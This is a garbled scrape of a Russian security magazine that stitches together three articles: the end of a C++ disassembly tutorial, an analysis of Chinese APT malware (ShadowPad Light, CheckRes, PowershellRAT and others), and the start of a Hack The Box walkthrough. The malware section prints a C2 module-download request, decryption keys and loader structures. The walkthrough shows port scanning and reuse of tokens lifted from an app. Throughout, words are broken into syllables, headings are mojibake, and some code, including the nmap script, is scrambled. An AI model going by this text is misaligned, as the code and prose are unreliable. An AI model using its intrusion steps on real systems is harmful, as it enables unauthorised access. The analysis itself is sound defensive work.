                     shl ecx, 4
; Произведение помещаем в переменную var_28

                     mov [rbp+var_28], ecx
                     mov rcx, rax
                     mov edx, [rbp+var_28]

; Результат умножения выводим на терминал — первое слева число
                   call std::ostream::operator<<(int)

                     lea rdx, unk_42D050
                     mov rcx, rax

; Выводим пробел
    

  
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const*)
; В R8D помещается значение переменной var_a

                     mov r8d, [rbp+var_a]
; Далее прямолинейно выполняются две математических операции, 
составляющие выражение
; Сначала происходит сдвиг влево на две позиции, что равносильно 
умножению на 4 (2^2)

                     shl r8d, 2
; Затем без лишнего словоблудия прибавляем к произведению число 5

                     add r8d, 5
; Обрати внимание: C++Builder не стал применять инструкцию LEA 
для быстрого умножения и сложения чисел, а размазал выполнение на 
отдельные команды, что как бы не идет на пользу результирующей 
программе

                     mov rcx, rax
; Копируем результат из регистра R8D в регистр EDX для 
последующего вывода оператором <<

                     mov edx, r8d
                   call std::ostream::operator<<(int)

                     lea rdx, unk_42D050
                     mov rcx, rax

; Вывод пробела
    

  
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const*)
; Умножение на 13 производится обычным imul

                     imul edx, [rbp+var_a], 0Dh
                     mov rcx, rax

; Вывод произведения
                   call std::ostream::operator<<(int)

      
 

               lea rdx, std::endl<char,std::char_traits<char>
>(std::basic_ostream<char,std::char_traits<char>> &)

                     mov rcx, rax
; Вывод символа начала новой строки

      
 

               call std::ostream::operator<<(std::ostream & (*
)(std::ostream &))

                     lea rcx, xmmword_43A4F8
; Загрузка двух значений двойной точности из сегмента данных 
только для чтения  в 128-битные регистры

                   movsd xmm0, cs:qword_42D018
                   movsd xmm1, cs:qword_42D020

; Одно из загруженных значений сохраняем в переменной var_d
                   movsd [rbp+var_d], xmm1

; Производим умножение этих значений
                   mulsd xmm0, [rbp+var_d]
                  movaps xmm1, xmm0

                     mov [rbp+var_30], rax
; Выводим результат произведения из регистра XMM1, скопированного 
туда из XMM0

                   call std::ostream::operator<<(double)
                     lea rdx, unk_42D050
                     mov rcx, rax

; Выводим пробел
    

  
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const*)
; Загрузка в регистр XMM0 значения из сегмента данных

                   movsd xmm0, cs:qword_42D010
; Умножение двух вещественных значений двойной точности: var_d * 
XMM0

                   mulsd xmm0, [rbp+var_d]
; Преобразование знакового целого числа — var_a, занимающего два 
слова, в вещественное значение двойной точности

                 cvtsi2sd xmm1, [rbp+var_a]
; Прибавление к произведению значения переменной var_a: var_d * 
XMM0 + var_a

                   addsd xmm0, xmm1
                     mov rcx, rax

; Результат выражения временно сохраняется в регистре XMM1
                  movaps xmm1, xmm0

; Вывод результата на терминал
                   call std::ostream::operator<<(double)

                     lea rdx, unk_42D050
                     mov rcx, rax

; Вывод пробела
    

  
               call std::operator<<<std::char_traits<char>>(

std::basic_ostream<char,std::char_traits<char>> &,char const*)
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
                     mov rcx, rax

; Вывод символа начала новой строки
      

 
               call std::ostream::operator<<(std::ostream & (*

)(std::ostream &))
                     lea rcx, xmmword_43A4F8

; Загрузка двух значений одинарной точности из сегмента данных в 
регистры XMM0 и XMM1

                   movss xmm0, cs:dword_42D000
                   movss xmm1, cs:dword_42D004

; Одно из значений копируем в переменную var_f
                   movss [rbp+var_f], xmm1

; Перемножение значений
                   mulss xmm0, [rbp+var_f]

; Произведение копируем в регистр XMM1 для передачи в качестве 
параметра оператору <<

                  movaps xmm1, xmm0
                     mov [rbp+var_38], rax

; Выводим произведение на экран
                   call std::ostream::operator<<(float)

      
 

               lea rdx, std::endl<char,std::char_traits<char>
>(std::basic_ostream<char,std::char_traits<char>> &)

                     mov rcx, rax
; Выводим символ начала новой строки

      
 

               call std::ostream::operator<<(std::ostream & (*
)(std::ostream &))

                     mov [rbp+var_4], 0
                     mov [rbp+var_40], rax
                     mov eax, [rbp+var_4]
                     add rsp, 60h
                    pop rbp

               retn
main            endp

Ра дует, что C++Builder заменил умно жение с учас тием чис ла в сте пени двой ки
логичес ким сдви гом вле во. Одна ко в сов ремен ных про цес сорах этот спо соб
не поз воля ет мно го выиг рать в быс тро дей ствии, поэто му Visual C++ не стал
с этим замора чивать ся. Разоча рова ло то, что C++Builder не исполь зовал инс- 
трук цию  для одновре мен ного сло жения и умно жения, на этом ком пилятор
мно го потерял в быс тро дей ствии резуль тиру ющей прог раммы.

LEA

Оп тимизи рован ный вари ант кода на C++Builder рас смат ривать не сто ит.
Если у Visual C++ код получа ется мини атюр ным и акку рат ным, то у пер вого
рас пуха ет до неп рилич ных раз меров. Опти миза цией такое язык не повора- 
чива ется наз вать!

Продолжение статьи →



НАХОДИМ МАТЕМАТИЧЕСКИЕ ОПЕРАТОРЫ В
ДИЗАССЕМБЛИРОВАННЫХ ПРОГРАММАХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÊÎÌÏËÅÊÑÍÛÅ ÎÏÅÐÀÒÎÐÛ
Язык С/С++ выгод но отли чает ся от боль шинс тва сво их кон курен тов под дер- 
жкой ком плексных опе рато ров:  (где x — любой эле мен тарный опе ратор),

 и .

õ=

++ --

Ком плексные опе рато ры семей ства  тран сли руют ся в ,
и они иден тифици руют ся так же, как и эле мен тарные опе рато ры.

a x= b a = a x b

Опе рато ры  и  в пре фик сной фор ме выража ются в три виаль ные конс- 

трук ции  и , не пред став ляющие для нас никако го инте- 
реса, но вот пос тфиксная фор ма — дело дру гое.

++ --

a = a + 1 a = a – 1

Раз берем малень кий при мер чик (operatorplusplus):

#include <iostream>

 int main()
{
      int i = 0;

       std::cout << ++i << std::endl;
       std::cout << i++ << std::endl;
      std::cout << i; // Отладочный вывод

}

Ре зуль тат вывода при мера operatorplusplus

Ском пилиру ем его с помощью Visual C++ 2022 с отклю чен ной опти миза цией:

 main            proc near               ; CODE XREF: 
__scrt_common_main_seh+107↓p
                                       ; DATA XREF: .pdata:

ExceptionDir↓o
   var_i          = dword ptr -18h
   var_14          = dword ptr -14h
   var_10          = qword ptr -10h

                     sub rsp, 38h
; Инициализация переменной var_i нулем

                     mov [rsp+38h+var_i], 0
; Копирование значения переменной var_i в EAX

                     mov eax, [rsp+38h+var_i]
; Инкрементирование значения

                    inc eax
; Возвращаем увеличенное значение в переменную var_i

                     mov [rsp+38h+var_i], eax
; Копируем значение переменной var_i в EDX для вывода

                     mov edx, [rsp+38h+var_i]
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
; Выводим var_i в измененном состоянии

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(int)

К текуще му момен ту име ем такой код:

  var_i = 0;
var_i++;

  cout << var_i;

      
 

               lea rdx, std::endl<char,std::char_traits<char>
>(std::basic_ostream<char,std::char_traits<char>> &)

                     mov rcx, rax
; Вывод символа начала новой строки

    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))
; Копируем в EAX значение переменной var_i

                     mov eax, [rsp+38h+var_i]
; Из EAX копируем значение в переменную var_14

                     mov [rsp+38h+var_14], eax
; Загружаем значение переменной var_14 в EDX явно для передачи 
параметра

                     mov edx, [rsp+38h+var_14]
; Посмотри-ка, инкремент не выполнился до вывода значения

      
 

               mov rcx, cs:std::basic_ostream<char,std::ch
ar_traits<char>> std::cout
; Выводим var_i в НЕизмененном состоянии

                   call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(int)

                     mov [rsp+38h+var_10], rax
; Загружаем значение переменной var_i в регистр EAX

                     mov eax, [rsp+38h+var_i]
; Вот он, инкремент, только уже поздно — число-то уже выведено!

                    inc eax
; Возвращаем значение из регистра EAX в переменную var_i

                     mov [rsp+38h+var_i], eax
      

 
               lea rdx, std::endl<char,std::char_traits<char>

>(std::basic_ostream<char,std::char_traits<char>> &)
                     mov rcx, [rsp+38h+var_10]

; Вывод символа начала новой строки
    

 
 

               call cs:std::basic_ostream<char,std::ch
ar_traits<char>>::operator<<(std::basic_ostream<char,std::ch
ar_traits<char>> &                (*)(std::basic_ostream<char,std:
:char_traits<char>> &))
; Это уже «отладочный» вывод значения переменной var_i, он погоды 
не меняет

                     mov edx, [rsp+38h+var_i]
      

 
               mov rcx, cs:std::basic_ostream<char,std::ch

ar_traits<char>> std::cout
                   call cs:std::basic_ostream<char,std::ch

ar_traits<char>>::operator<<(int)
                     xor eax, eax
                     add rsp, 38h

               retn
main            endp

Без уче та пос ледней коман ды вывода у нас получил ся такой лис тинг:

  var_i = 0;
var_i++;

  cout << var_i;
  cout << var_i;

var_i++;

Что нем ного не соот ветс тву ет изна чаль ным пла нам. Поэто му при исполь- 
зовании ком плексных опе рато ров язы ка C/C++ будь начеку.

Те перь все точ ки над i рас став лены, оста лось под вести ито ги, и мож но зак- 
руглять ся.

ÂÛÂÎÄÛ
Пос ле опре деле ния пути выпол нения прог раммы матема тичес кие опе рации
сос тавля ют осно ву ее дей ствий. Сле дова тель но, они игра ют важ ней шую роль
в прог раммах. Во вре мя ана лиза дизас сем блер ных лис тингов важ но пра виль но
опре делить матема тичес кие опе рато ры, не запутать ся в их пос ледова тель нос- 
ти.

Мно гооб разие ариф метичес ких опе рато ров, как мы уви дели, зависит
от типа дан ных или раз мера опе ран дов. Для опти миза ции вычис лений ком- 
пилятор впра ве менять порядок матема тичес ких опе рато ров, упро щать
выраже ния, заменять их рядом более быс тро дей ству ющих опе раций. Разоб- 
рать ся во всем этом хит рос пле тении под час очень неп росто! Но, я наде юсь,
сегод няшняя статья поможет тебе сори енти ровать ся во всем мно гооб разии
соп ровож дающей любую прог рамму матема тики.
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ВЗЛОМ

В прош лом году китай ские APT-груп пиров- 
ки вели себя осо бен но активно. При этом
у каж дой из них был свой уни каль ный инс- 
тру мен тарий. Перело патив тысячи строк
вре донос ного кода, пой ман ного во вре мя
рас сле дова ния инци ден тов, мы обна ружи- 
ли немало любопыт ных фишек, о которых
и рас ска жем в этой статье.

CHECKRES

Çàãðóçêà
Для запус ка основной наг рузки этот вре донос исполь зует пять фай лов,
которые пос ледова тель но запус кают друг дру га. Как это работа ет, вид но
на рисун ке ниже. Основная наг рузка запус кает ся фай лом , который появ- 
ляет ся в сис теме в самом начале работы вре доно са. Но при этом сам файл

 запус кает ся еще не сущес тву ющим в сис теме скрип том на VBS. Такой

ком плексный под ход к запус ку основной наг рузки, веро ятно, нужен для того,
что бы обой ти поведен ческий ана лиз.

cmd

cmd

Схе ма заг рузки CheckRes

Ìîäóëè
В начале работы полез ной наг рузки с уда лен ного сер вера заг ружа ются
модули.

POST-çàï ðîñ äëÿ ïîëó÷å íèÿ ìîäóëÿ

POST /cgi-bin/pcupd.cgi/http/param_id.000 HTTP/1.0 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, 
application/vnd.ms-excel, application/msword, application/vnd.ms-
powerpoint, */* 
Accept-Language: de-at 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) 
Host: <IP> 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 31 
Connection: Keep-Alive 

lab=3999/06171252&size=1&data=F 

С сер вера может быть выг ружено до 16 модулей.

Заг рузка модулей CheckRes

Мо дули при ходят в теле HTTP-зап роса. Они запако ваны, закоди рова ны
Base64 и окру жены тегом .<update>

Мо дули пред став ляют собой DLL-фай лы, где заголо вок-заг лушка MS-DOS
запол нен нулями (вид но на скрин шоте ниже). При заг рузке с C&C пар сится
таб лица импортов и релока ции. Пос ле это го для запус ка модуля вызыва ется
entrypoint DLL-фай ла, где про исхо дит соз дание потока. Соз дание потока необ- 
ходимо, если тре бует ся про дол житель ная работа модуля, пос коль ку исполня- 
емый файл работа ет в одном потоке.

За голо вок модуля CheckRes

Каж дый модуль выводит информа цию о сво ей работе в файл, который рас- 
положен по сле дующе му пути:

%allusersprofile%\{F3F85CAE-3398-45f6-98C2-7DBFD3F3042C} 

Файл вывода каж дого модуля име ет свое рас ширение (нап ример, .cap, .kst,
.rdd). Содер жимое фай ла зашиф ровано при помощи опе рации XOR с генера- 
тором псев дослу чай ных чисел «Вихрь Мер сенна».

Âèõðü Ìåðñåííà
Мо дули для шиф рования выход ных дан ных исполь зуют нек риптог рафичес кий
генера тор псев дослу чай ных чисел «Вихрь Мер сенна» с изна чаль ным зна чени- 
ем (seed) 11. Все парамет ры соот ветс тву ют стан дар тно му алго рит му
для генера ции 32-бит ных зна чений. В каж дом модуле есть нес коль ко харак- 
терных осо бен ностей, свя зан ных с реали заци ей алго рит ма. Во-пер вых,
это изна чаль ная ини циали зация мас сива, которая пов торя ется два раза:
при пер вом запол нении зна чение seed уста нав лива ется рав ным 5489. Затем,
никак не вли яя на пре дыду щее запол нение, мас сив запол няет ся пов торно
со зна чени ем seed, рав ным 11.

Двук ратная ини циали зация мас сива

Есть еще одна осо бен ность: исполь зует ся мас сив, рав ный двум поряд кам
рекур рен тной пос ледова тель нос ти, а имен но 1248. Таким обра зом, изна чаль- 
но ини циали зиру ется пер вая полови на мас сива, пос ле чего сог ласно алго рит- 
му на осно ве пер вой час ти генери рует ся вто рая полови на мас сива.
При исполь зовании всех 624 сге нери рован ных эле мен тов вто рой полови ны
пер вая затира ется. А на осно ве вто рой полови ны по рекур рен тно му соот- 
ношению запол няет ся уже пер вая.

В ито ге одна полови на мас сива всег да содер жит дан ные для генера ции
дру гой час ти. Мож но было бы пред положить, что это сде лано, что бы упростить
реали зацию: исполь зование одно го цик ла для запол нения мас сива уже псев- 
дослу чай ными чис лами вмес то двух. Но при запол нении пер вой час ти все же
при ходит ся делить алго ритм запол нения мас сива на два цик ла, как это реали- 
зова но .здесь

И пос ледняя осо бен ность каса ется «закал ки» псев дослу чай ного чис ла.
В изна чаль ном алго рит ме пред полага ется сна чала битовый сдвиг на кон стан- 
ту, а затем про изво дит ся побито вое логичес кое И. Здесь же порядок изме нен,
что пов лияло на кон стан ты, исполь зуемые для этой опе рации. Так, кон стан та

 здесь пред став лена в виде зна чения 0xFFFFDF8C.0xefc60000

За кали вание псев дослу чай ного чис ла

SHADOWPAD LIGHT 2021

ShadowPad Light — облегчен ная вер сия ори гиналь ного ShadowPad
без обфуска ции кода. Нес мотря на то что этот семпл очень похож на ори- 
гиналь ный ShadowPad, у него есть свои осо бен ности.

Çàãðóçêà
ShadowPad Light пос тавля ется тре мя фай лами:

 — легитим ный исполня емый файл, име ющий под пись
ком пании HP;

• hpdigital.exe

 — вре донос ная биб лиоте ка, заг ружа ется пос редс твом тех- 
ники DLL hijacking;

• hpqhvsei.dll

 — шиф рован ная наг рузка, которая содер жит рас паков щик
и полез ную вре донос ную наг рузку, так же хра нит в себе пер воначаль ный
необ ходимый для работы набор модулей.

• hpqlpvdt.tmp

Файл  «вруч ную» под гру жает биб лиоте ку 

при помощи , пос ле чего так же выг ружа ет файл при помощи

фун кции . При заг рузке биб лиоте ки  рас шифро- 
выва ет файл .

hpdigital.exe hpqhvsei.dll
LoadLibraryW

FreeLibrary hpqhvsei.dll
hpqlpvdt.tmp

Ал горитм рас шифров ки заг рузчи ка ShadowPad Light

При выг рузке биб лиоте ки вре донос ная  пат чит код в памяти

, что пред став лено на рисун ке ниже. Таким обра зом, пос ле
завер шения работы биб лиоте ки и выг рузки ее из памяти основной модуль
перехо дит к вре донос ному заг рузчи ку из фай ла .

hpqhvsei.dll
hpdigital.exe

hpqlpvdt.tmp

Ис прав ление памяти легитим ного фай ла для перехо да к заг рузчи ку вре -
донос ного кода

Заг рузчик в свою оче редь рас шифро выва ет полез ную наг рузку. Исполь зует ся
алго ритм AES и вот такой ключ:

726e6e7358786d3853483377464f7064 

Да лее он ее рас паковы вает (алго ритм lzma1) при помощи фун кции
. Рас пакован ная полез ная наг рузка име ет заголо вок not

full PE, который вклю чает дан ные о содер жащих ся сек циях и точ ке вхо да. Его
струк тура пред став лена в лис тинге ниже.

RtlDecompressBuffer

Çà ãîëî âîê îñíîâíîé ïîëåç íîé íàã ðóçêè

   struct __unaligned __declspec(align(4)) shadowpadl_header
{
   int MAGIC; // 0xdeed4554
  int notUsedField;
  int EntryPoint;
   unsigned __int64 RelocDiffConst;
   unsigned int ImageBase;
  int SectionCodeVirtualSize;
  int SectionCodeSize;
  int SectionDataVirtualSize;
  int SectionDataSize;
  int SectionEncDataVirtualSize;
  int SectionEncDataSize;
  int SectionRelocSize;

};

Ес ли даль ше раз бирать модули, мож но уви деть, что у них поч ти такая же струк- 
тура заголов ка. Единс твен ное отли чие — у модулей в начале есть еще одно
поле, которое пред положи тель но озна чает дату соз дания. Поле 

обоз нача ет ID модуля. Поле MAGIC — сиг натура . Сами модули

хра нят ся в запако ван ном (алго ритм snappy) и зашиф рован ном виде в ресур сах
основной наг рузки. В качес тве алго рит ма шиф рования исполь зует ся потоко- 
вый алго ритм salsa20, кон стан та для рас ширения клю ча — .

notUsedField
0xdeed4554

arbitraryconstat
От дель но отме тим алго ритм обра бот ки релоков. При заг рузке PE-фай ла

для при мене ния релоков тре бует ся два чис ла: изна чаль ный базовый адрес
исполня емо го фай ла и базовый адрес, по которо му файл был заг ружен. Выс- 
читыва ется раз ница меж ду ними и при бав ляет ся к тому адре су, по которо му
необ ходимо при менить релок. Фор мула выг лядит так:

diff = newimagebase - imagebase 
dst = newimagebase + rva 
for offset in offsets: 
   dst[offset] += diff 

В слу чае ShadowPad Light в струк туре при сутс тву ет кон стан та, которая учас тву- 
ет в пер вой опе рации. Таким обра зом, у нас выходит сле дующее пре обра зова- 
ние:

diff = newimagebase - imagebase - relocdiffconst 
dst = newimagebase + rva - imagebase 
for offset in offsets: 
   dst[offset] += diff 

По мимо это го, в вычис лении адре са релока учас тву ет , потому что

зна чение RVA содер жит в себе зна чение .

imagebase
imagebase

Ñðàâíåíèå ñ ïðåäûäóùåé âåðñèåé ShadowPad
Срав ним ори гиналь ный ShadowPad с ShadowPad Light. Фун кция точ ки вхо да
пла гинов в них нем ного отли чает ся. На рисун ке показан код точ ки вхо да пла- 
гинов ста рого ShadowPad (сле ва) и нового (спра ва).

Срав нение фун кций точек вхо да. Сле ва — ста рая вер сия ShadowPad,
спра ва — новая

Од на из харак терных осо бен ностей ShadowPad — хра нение модулей в реес- 
тре. В новом ShadowPad Light она тоже при сутс тву ет, но рас простра няет ся
толь ко на допол нитель ные модули, которые заг ружа ются с сер вера. Там они
находят ся в таком же виде, в котором хра нят ся встро енные модули в ресур сах
заг рузчи ка полез ной наг рузки. То есть зашиф рованы и упа кова ны тем же алго- 
рит мом и име ют ту же струк туру заголов ка.

Те перь к изме нени ям, которым под вер гся ShadowPad Light. Пер вое, что
бро сает ся в гла за, — тут нет нес коль ких спо собов обфуска ции, которые были
в ста ром ShadowPad. Отсутс тву ют:

об фуска ция вызовов внеш них фун кций;•
об фуска ция тех никой перек рытия инс трук ций;•
об фуска ция абсо лют ными прыж ками для переме шива ния инс трук ций.•

Из-за этих изме нений мы и наз вали дан ный семпл ShadowPad Light.

Об фуска ция вызова внеш них фун кций ори гиналь ного ShadowPad

Об фуска ция тех никой перек рытия инс трук ций ори гиналь ного ShadowPad

Кро ме это го, мож но выделить еще ряд отли чий:
струк тура заголов ка модуля изме нилась пол ностью. Новый ShadowPad
не работа ет с вир туаль ными таб лицами импорта. Вмес то это го каж дый
модуль находит необ ходимые внеш ние фун кции через peb-заголо вок.
В лис тингах ниже пред став лены струк туры заголов ков пла гинов для нового
ShadowPad и его ста рого вари анта;

•

при меня ются раз ные алго рит мы шиф рования и архи вации модулей;•
мо дулям наз начены новые иден тифика торы.•

Ñòðóê òóðà çàãîëîâ êà ìîäóëÿ ShadowPad Light

   struct __unaligned __declspec(align(4)) shadowpadl_plugin_header
{
  int Timestamp;
  int MAGIC;
  int ModuleID;
  int EntryPoint;
   unsigned __int64 RelocDiffConst;
   unsigned int ImageBase;
  int SectionCodeVirtualSize;
  int SectionCodeSize;
  int SectionDataVirtualSize;
  int SectionDataSize;
  int SectionEncDataVirtualSize;
  int SectionEncDataSize;
  int SectionRelocSize;

};

Продолжение статьи →

mailto:r3seh@ya.ru
https://github.com/stbrumme/mersenne-twister/blob/master/mersenne.cpp


ЧТО МЫ НАШЛИ  
В АРСЕНАЛЕ КИТАЙСКИХ 

APT-ГРУППИРОВОК

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Ñòðóê òóðà çàãîëîâ êà ìîäóëÿ îðè ãèíàëü íîãî ShadowPad

   struct __unaligned __declspec(align(4))
old_shadowpad_plugin_header
{
  int ImageSize;
  int ImageBase;
  int RelocSectionVA;
  int RelocSectionSize;
  int ImportSectionVA;
  int ImportSectionSize;
  int AddressOfEntryPoint;
  int NumberOfSections;
  int Timestamp;
  int SectionHeaders;

};

Да лее в таб лице пред став лен спи сок модулей, которые нам довелось про ана- 
лизи ровать. Модули, у которых ID в интерва ле с 0x30 по 0xb0, встро ены в сам
вре донос ный файл и не попада ют в реестр. Осталь ные модули добав ляют ся
во вре мя работы ShadowPad и были обна руже ны в заражен ной сис теме в реес- 
тре.

POWERSHELLRAT

Глав ная осо бен ность это го вре доно са — исполь зование сте ганог рафии LSB
для хра нения полез ной наг рузки. Если крат ко, то информа ция хра нит ся в пос- 
ледних битах каж дого канала пик селя кар тинки. То есть для хра нения одно го
бай та нуж но два пик селя c четырь мя канала ми: RGBA. При изме нении толь ко
пос ледне го бита невоз можно уви деть нево ору жен ным взгля дом иска жение
кар тинки.

Пе рей дем непос редс твен но к вре доно су. PowershellRAT пос тавля ется
в сос таве трех фай лов:

ди нами чес кая биб лиоте ка, которая явля ется сер висом;•
под гру жаемый сер висом файл, который ищет и заг ружа ет вре донос ный
PowerShell-скрипт;

•

кар тинка, которая содер жит PowerShell-скрипт.•

Па рамет ры вре донос ного сер виса

Заг ружа ясь, сер вис нас тра ивает окру жение .NET и под гру жает вре донос ную
биб лиоте ку .Jsprofile.dll

Вы зов метода Setlter клас са Jsplter прос транс тва имен Jsprole

Эта биб лиоте ка вызыва ет метод , который

ищет файл с рас ширени ем .png.

Jsprofile.Jspfilter.Setfilter

По иск кар тинки в фай ловой сис теме

Этот файл и есть та самая кар тинка c режимом RGBA, в которой пос редс твом
сте ганог рафии (LSB) спря тан скрипт на PowerShell. Перед извле чени ем содер- 
жимого кар тинки про веря ется ряд парамет ров, которым она дол жна соот ветс- 
тво вать. Сре ди них:

раз мер кар тинки — ширина и высота дол жны быть боль ше опре делен ных
зна чений;

•

сиг натура: .• f16a921dd97e467c

Про вер ка раз мера кар тинки

Про вер ка сиг натуры дан ных и пре обра зова ние дан ных в чис ло — дли ну
зашиф рован ных дан ных

Сна чала идет заголо вок:

struct header {
   char signature[8]; // f16a921dd97e467c 
   int len_data;

}

Да лее — зашиф рован ный и упа кован ный скрипт на PowerShell. Алго ритм сжа- 
тия — bzip. Алго ритм шиф рования — цик личес кий XOR с бай тами

.52298b5337f5baaa

REMSHELL, SMANAGER, MAIL-O

Сле дующий семпл, про который хотим рас ска зать, написан на язы ке прог- 
рамми рова ния Go. Нам показа лось, что он очень похож на семей ства вре доно- 
сов Mail-O и Smanager. Поэто му мы решили их срав нить и обна ружи ли раз- 
витие в сто рону упро щения раз работ ки коман дно го сер вера и вре донос ного
при ложе ния (кли ента):

для раз работ ки исполь зован язык Go;•
вер нулись к вза имо дей ствию по про токо лу HTTP;•
ра бота ет в виде самос тоятель ного исполня емо го фай ла, а не служ бы.•

Ес ли срав нить с Smanager, то мож но отме тить, что для сок рытия тра фика
от воз можной MITM-ата ки в новой вер сии исполь зует ся шиф рование содер- 
жимого HTTP-про токо ла при помощи алго рит ма AES вмес то тех ники SSL
pinning с реали заци ей через SSPI. Это опять же упро щает раз работ ку. Ниже —
срав нение выделен ных нами харак терис тик.

Ко ман ды Go-Sample

PYTHONRAT

И еще один вре донос, который раз берем в этой статье, — PythonRAT, пред- 
став ляющий собой ском пилиро ван ный при помощи pyinstaller исполня емый
файл. Пос ле извле чения питонов ских фай лов из исполня емо го фай ла мы най- 
дем файл , при деком пиляции которо го воз ника ет ошиб ка. При прос- 

мотре в hex-редак торе мы уви дим, что заголо вок pyc-фай ла отсутс тву ет, вмес- 
то это го сра зу же идет заголо вок , а имен но тип объ екта (0x63),
затем пять четырех бай товых зна чений.

client

CodeObject

Струк тура объ екта кода, взя тая из исходно го кода cPython2.7, marshal.c

За голо вок фай ла client

Пос ле вос ста нов ления заголов ка появ ляет ся воз можность про извести деком- 
пиляцию при помощи uncompyle2. Внут ри содер жится код основной наг рузки
вре донос ного фай ла более чем на 1500 строк. Здесь находят ся получе ние
команд и их обра бот ка. Шиф рование выпол няет ся вши тыми клю чами
при помощи алго рит ма AES, а для обще ния с сер вером C&C исполь зует ся
биб лиоте ка zlib. При чем для шиф рования при нима емых и отправ ляемых дан- 
ных при меня ются раз ные клю чи.

Код получе ния и обра бот ки команд

ÂÛÂÎÄÛ

В общем, инс тру мен тарий китай ских APT-груп пировок отли чает ся дву мя инте- 
рес ными момен тами. С одной сто роны, это боль шое раз нооб разие тех ник
и средств для выпол нения вре донос ных дей ствий. Здесь и исполь зование
модуль ной архи тек туры, и широкий ряд при меня емых язы ков прог рамми рова- 
ния.

С дру гой сто роны, мы видим тен денцию к упро щению раз работ ки вре- 
донос ного ПО: исполь зование высоко уров невых язы ков прог рамми рова ния,
отказ от обфуска ции кода в поль зу методов усложне ния дос тупа к коду
с полез ной наг рузкой. Зло умыш ленни ки дела ют став ку на быс трую раз работ ку,
а так же на про тиво дей ствие обна руже нию и быс тро му ана лизу их кода.

Вре доно сы час то и так дос тига ют сво их целей вне зависи мос ти от исполь- 
зуемых методов обфуска ции. Поэто му защита от ком плексно го под хода к изу- 
чению ВПО китай ских хакеров вол нует в мень шей сте пени.



АНАЛИЗИРУЕМ И
ПЕРЕКОМПИЛИРУЕМ

ПРИЛОЖЕНИЕ ДЛЯ ANDROID

RalfHacker
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ВЗЛОМ

Се год ня мы про ана лизи руем при ложе ние
для Android, под берем ся к скры тому сай ту,
порабо таем с плат формой Cachet, что бы
получить дос туп к хос ту, и реком пилиру ем
при ложе ние, что бы повысить при виле гии.
Все это в рам ках про хож дения сред ней
по слож ности машины Catch с пло щад ки

.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
На чина ем, как водит ся, со ска ниро вания пор тов иссле дуемой машины. Ее IP
сра зу добав ляем в :/etc/hosts

10.10.11.150    catch.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     

1 |    | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f

tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска ниро- 
вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем име- 
ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Мы наш ли нес коль ко откры тых пор тов:
порт 22 — служ ба OpenSSH 8.2p1;•
пор ты 80 и 8000 — служ ба веб-сер вера Apache 2.4.41;•
пор ты 3000 и 5000 — какие-то неиз вес тные при ложе ния, работа ющие
по про токо лу HTTP.

•

Про ходим к сай ту на пор те 80.

Глав ная стра ница сай та catch.htb

На сай те ничего необыч ного, скры того или полез ного не находим, кро ме того,
что пред лага ется заг рузить какое-то при ложе ние.

Ок но заг рузки при ложе ния

Пос ле заг рузки видим, что это прог рамма для Android. На дру гих пор тах
работа ют Git (3000), чат Let’s Chat и плат форма Cachet.

ÒÎ×ÊÀ ÂÕÎÄÀ
Как соз дать и раз вернуть вир туаль ную машину Android, а затем вклю чить
отладку, я уже писал в , поэто му
сра зу перей дем к уста нов ке при ложе ния.

не дав нем про хож дении машины Routerspace

adb install catchv1.0.apk 

Ус танов ка при ложе ния с помощью ADB

Ме ню Android

При запус ке при ложе ния получа ем ошиб ку соеди нения, а так же рас кры ваем
новый под домен, который сра зу добав ляем в ./etc/hosts

Ошиб ка соеди нения

10.10.11.150    catch.htb status.catch.htb 

Ука зан ный адрес ведет на порт 443, который на сер вере зак рыт, поэто му поп- 
робу ем вытянуть из при ложе ния еще какие-нибудь дан ные. Для это го я буду
исполь зовать мини-песоч ницу для Android-при ложе ний . В ней есть

воз можность ста тичес кого и динами чес кого ана лиза. Если тебе неохо та уста- 
нав ливать макет на свой хост, то мож но поль зовать ся уже раз верну той 

.

MobSF

он лай- 
новой вер сией

Глав ная панель MobSF

Заг ружа ем при ложе ние и получа ем отчет по ста тичес кому ана лизу.

Ин форма ция о заг ружен ном фай ле

Из важ ного сра зу отме чаем забитые в при ложе ние токены.

Най ден ные в при ложе нии токены дос тупа

По вто рому токену опре деля ем, что наша сле дующая цель — Let’s Chat. Встав- 
ляем его как токен дос тупа в заголо вок .Authorization

Из менен ный зап рос на сер вер

ÒÎ×ÊÀ ÎÏÎÐÛ
Что бы этот токен авто мати чес ки встав лялся в каж дый зап рос, отправ ленный
через бра узер, вос поль зуем ся фун кци ей match/replace в опци ях .

